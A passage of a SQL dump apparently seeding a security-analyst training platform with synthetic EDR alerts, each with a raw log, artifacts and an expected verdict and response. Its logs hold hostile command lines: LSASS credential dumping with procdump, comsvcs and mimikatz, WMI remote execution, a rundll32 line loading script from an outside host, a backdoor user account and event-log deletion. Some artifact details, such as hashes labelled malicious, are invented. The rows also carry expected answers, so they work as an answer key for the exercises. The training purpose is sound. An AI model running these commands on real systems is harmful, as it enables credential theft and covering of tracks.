delivery\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1024 times for hosting malicious content\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with PowerShell-based malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of PowerShell indicates a fileless attack aimed at avoiding detection by traditional antivirus solutions.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2139, 'Credential Dumping via LSASS Detected', 'high', 'Carbon Black', 'A sophisticated attack attempt was identified where credentials were dumped from the LSASS process using a known tool.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"username\":\"alice\",\"hostname\":\"server02\",\"command_line\":\"procdump.exe -accepteula -ma lsass.exe lsass.dmp\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"procdump.exe -accepteula -ma lsass.exe lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Procdump used for unauthorized credential access\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"lsass.dmp\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Memory dump of LSASS process containing sensitive credentials\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of Procdump to access LSASS memory is a known technique for extracting credentials.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2140, 'Lateral Movement Detected via WMI', 'critical', 'SentinelOne', 'An attacker leveraged WMI for lateral movement within the network, targeting multiple internal hosts.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:15Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.25\",\"username\":\"bsmith\",\"hostname\":\"workstation01\",\"command_line\":\"wmic /node:10.0.0.25 process call create \\\"powershell -nop -w hidden -ep bypass -c Invoke-Mimikatz\\\"\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"wmic /node:10.0.0.25 process call create \\\"powershell -nop -w hidden -ep bypass -c Invoke-Mimikatz\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI used for remote code execution and credential harvesting\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of compromised machine within the internal network\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Target IP of the lateral movement attempt\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI indicates an advanced persistence and lateral movement strategy.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2141, 'Fast-Flux DNS Detected in Malicious Activity', 'high', 'Sysmon', 'DNS queries for known fast-flux domains associated with C2 communications were detected.', 'Data Exfil', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:10:50Z\",\"event_type\":\"dns_query\",\"src_ip\":\"10.0.0.20\",\"domain\":\"suspect-domain.xyz\",\"hostname\":\"desktop01\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"suspect-domain.xyz\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with fast-flux networks used for data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the system querying the malicious domain\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Fast-flux domains are often used for evasive C2 communications in data exfiltration campaigns.\"}', 'Expert', 'EDR', 9, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2142, 'Subtle Indicators of Memory-Only Payload Detected', 'critical', 'CrowdStrike', 'Heavy obfuscation and memory-only payloads were detected, indicating an advanced persistent threat using legitimate services for C2.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:05:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"104.21.45.78\",\"username\":\"cmiller\",\"hostname\":\"laptop03\",\"command_line\":\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write(\'<script src=http://legit-service.com/c2.js></script>\');\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write(\'<script src=http://legit-service.com/c2.js></script>\');\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Obfuscated command using rundll32 for memory-only payload execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"104.21.45.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to C2 communications via legitimate service abuse\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of legitimate services for command and control indicates an attempt to blend in with normal traffic.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2143, 'Fileless Malware Detected via PowerShell Script Execution', 'critical', 'CrowdStrike', 'A sophisticated PowerShell script was executed, utilizing obfuscation techniques to evade detection. This script is associated with a fileless malware campaign targeting credential dumping.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-01\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PowerShell command linked to fileless malware activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with victim machine\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is indicative of fileless malware, warranting a true positive classification.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2144, 'Credential Dumping Detected from LSASS Memory', 'high', 'SentinelOne', 'A process attempted to access LSASS memory to extract credentials using advanced techniques. The process was associated with known malware.', 'Credential Attack', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:22:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.15\",\"dst_ip\":\"192.168.10.20\",\"username\":\"admin\",\"hostname\":\"SERVER-02\",\"command_line\":\"mimikatz.exe privilege::debug sekurlsa::logonpasswords\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mimikatz.exe privilege::debug sekurlsa::logonpasswords\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Mimikatz used for credential dumping, reported in multiple incidents\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with attacker machine\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The process execution with Mimikatz indicates a credential dumping attempt, confirming the alert as a true positive.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2145, 'Lateral Movement Detected via WMI', 'high', 'Carbon Black', 'Anomalous WMI activity detected, indicating potential lateral movement within the network. The attacker is leveraging WMI to execute processes on remote hosts.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:50:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.20.30\",\"dst_ip\":\"192.168.20.40\",\"username\":\"svc_account\",\"hostname\":\"WORKSTATION-03\",\"command_line\":\"wmic /node:192.168.20.40 process call create \\\"cmd.exe /c tasklist\\\"\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"wmic /node:192.168.20.40 process call create \\\"cmd.exe /c tasklist\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"WMI command detected in lateral movement scenarios\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.20.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI for remote process execution is a known lateral movement tactic, validating the alert as a true positive.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2146, 'Multi-hop C2 Communication via Discord Detected', 'critical', 'Sysmon', 'Detected multi-hop command and control communication utilizing Discord as the intermediary. This technique is used to obfuscate traffic and evade detection.', 'C2 Communication', 'T1071.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:53Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.30.45\",\"dst_ip\":\"162.159.137.54\",\"username\":\"user123\",\"hostname\":\"LAPTOP-04\",\"command_line\":\"discord.exe --remote-debugging-port=9222\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"162.159.137.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 infrastructure, detected in multiple campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"discord.exe --remote-debugging-port=9222\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command line indicative of abuse for C2 communication via Discord\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of Discord for C2 communication, combined with known malicious IPs, confirms the alert as a true positive.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2147, 'Fast-flux DNS Detected for DGA Domain', 'high', 'CrowdStrike', 'A domain generated algorithmically (DGA) is using fast-flux DNS techniques, indicating potential malware activity. This method is used for evading detection by frequently changing IP addresses.', 'Malware', 'T1568.002', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:28Z\",\"event_type\":\"dns_request\",\"src_ip\":\"192.168.40.50\",\"dst_ip\":\"198.51.100.76\",\"username\":\"it_admin\",\"hostname\":\"SERVER-05\",\"request_body\":\"xy1z2abc3d4ef.example.com\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"xy1z2abc3d4ef.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"DGA domain associated with known malware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.76\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in fast-flux DNS activity\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detection of a DGA domain with fast-flux DNS is a strong indicator of malicious activity, justifying the true positive verdict.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2148, 'Fileless Malware Detected via PowerShell Script Execution', 'critical', 'CrowdStrike', 'A PowerShell script executed a fileless malware payload targeting LSASS for credential dumping. The attack originated from an external IP using a sophisticated obfuscation technique.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"hostname\":\"CORP-WORKSTATION-17\",\"command_line\":\"powershell -nop -w hidden -enc aQBmACgAIAAoACQAbgB1AGwAbAAgACkAIHsAIAAkAG4AdQBsAGwAIA0K\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1523 times for malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -nop -w hidden -enc aQBmACgAIAAoACQAbgB1AGwAbAAgACkAIHsAIAAkAG4AdQBsAGwAIA0K\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected obfuscated PowerShell command typical of fileless malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of obfuscated PowerShell commands and targeting LSASS for credential dumping confirms this as a true positive.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2149, 'Credential Dumping via LSASS Memory Access', 'high', 'Carbon Black', 'A process was detected accessing LSASS memory, typical of credential dumping attempts. The attacker used process hollowing techniques to evade detection.', 'Credential Attack', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:47:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.89\",\"dst_ip\":\"10.0.0.45\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER-02\",\"command_line\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 1234 C:\\\\Temp\\\\lsass.dmp\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with credential theft campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 1234 C:\\\\Temp\\\\lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command line indicates LSASS memory dumping\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The access to LSASS memory using process hollowing techniques signifies a true positive for credential dumping.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2150, 'Lateral Movement Detected via WMI Execution', 'critical', 'SentinelOne', 'An attacker used WMI to execute a remote command on a critical server, indicating lateral movement within the network. The attack involved DGA domains and fast-flux DNS.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:22:39Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"192.168.2.30\",\"username\":\"svc_account\",\"hostname\":\"CORP-DBSERVER-04\",\"command_line\":\"wmic /node:192.168.2.30 process call create \\\"cmd.exe /c net user hacker P@ssw0rd /add\\\"\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP noted for involvement in lateral movement attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:192.168.2.30 process call create \\\"cmd.exe /c net user hacker P@ssw0rd /add\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command execution indicative of lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI for remote command execution on an internal server confirms this as a lateral movement attempt.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2151, 'Suspicious Network Activity with Fast-Flux DNS and DGA Domains', 'high', 'Sysmon', 'Detected network connections to domains generated by a Domain Generation Algorithm (DGA) with fast-flux DNS techniques. This is indicative of a potential botnet C2 activity.', 'Data Exfiltration', 'T1071.004', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.40\",\"dst_ip\":\"203.0.113.123\",\"username\":\"bsmith\",\"hostname\":\"CORP-LAPTOP-29\",\"domain\":\"abcd1234.xyz\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP associated with fast-flux DNS and botnet C2 servers\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"abcd1234.xyz\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain generated by DGA, typical of botnet communications\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.3.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The presence of DGA and fast-flux DNS patterns suggests an ongoing data exfiltration attempt via a botnet.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2152, 'Defensive Evasion Detected: Timestomping and Log Deletion', 'high', 'Carbon Black', 'Detected execution of a script performing timestomping and log deletion on critical systems, aimed at evading detection and obscuring attack traces.', 'Defensive Evasion', 'T1070.006', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:34:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.50\",\"dst_ip\":\"192.168.4.50\",\"username\":\"sysadmin\",\"hostname\":\"CORP-FILESERVER-01\",\"command_line\":\"cmd.exe /c del /f /q C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\* & copy /b +,,\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"cmd.exe /c del /f /q C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\* & copy /b +,,\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of log deletion and timestomping activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"defensive_evasion\",\"analysis_notes\":\"The use of commands to delete logs and modify timestamps is a clear indicator of defensive evasion tactics.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2153, 'Fileless Malware Detected via PowerShell', 'critical', 'CrowdStrike', 'A sophisticated fileless malware attack was detected using obfuscated PowerShell scripts to execute payloads directly in memory. The attack involved credential dumping from LSASS.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"hostname\":\"CORP-DC1\",\"command_line\":\"powershell -nop -w hidden -e Y2FsY3VsYXRlLWNoZWNrc3Vt\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -nop -w hidden -e Y2FsY3VsYXRlLWNoZWNrc3Vt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Obfuscated PowerShell command used in fileless malware attacks\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malicious hash associated with credential dumping tools\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"This alert is a true positive due to the presence of obfuscated PowerShell commands and a known malicious hash used in credential dumping.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2154, 'Lateral Movement Detected via WMI', 'high', 'SentinelOne', 'An attacker attempted lateral movement within the network using WMI. The activity was observed moving from a compromised host to a domain controller.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:56:32Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"192.168.1.20\",\"username\":\"hacker\",\"hostname\":\"COMPROMISED-PC\",\"command_line\":\"wmic /node:192.168.1.20 process call create calc.exe\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.20 process call create calc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"WMI command execution indicative of lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI commands originating from a compromised host attempting to execute processes on a domain controller indicate a true positive for lateral movement.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2155, 'Credential Dumping from LSASS Detected', 'critical', 'Carbon Black', 'An attacker executed a memory scraping tool to extract credentials from the LSASS process on a critical server.', 'Credential Access', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.10\",\"username\":\"admin\",\"hostname\":\"SERVER01\",\"command_line\":\"procdump64.exe -ma lsass.exe C:\\\\Windows\\\\Temp\\\\lsass.dmp\",\"file_hash\":\"6f5902ac237024bdd0c176cb93063dc4\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with credential dumping activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"procdump64.exe -ma lsass.exe C:\\\\Windows\\\\Temp\\\\lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known memory dumping tool used to extract credentials from LSASS\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"6f5902ac237024bdd0c176cb93063dc4\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Malicious hash associated with credential theft tools\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The execution of a known memory dumping tool against the LSASS process on a server indicates a true positive for credential theft.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
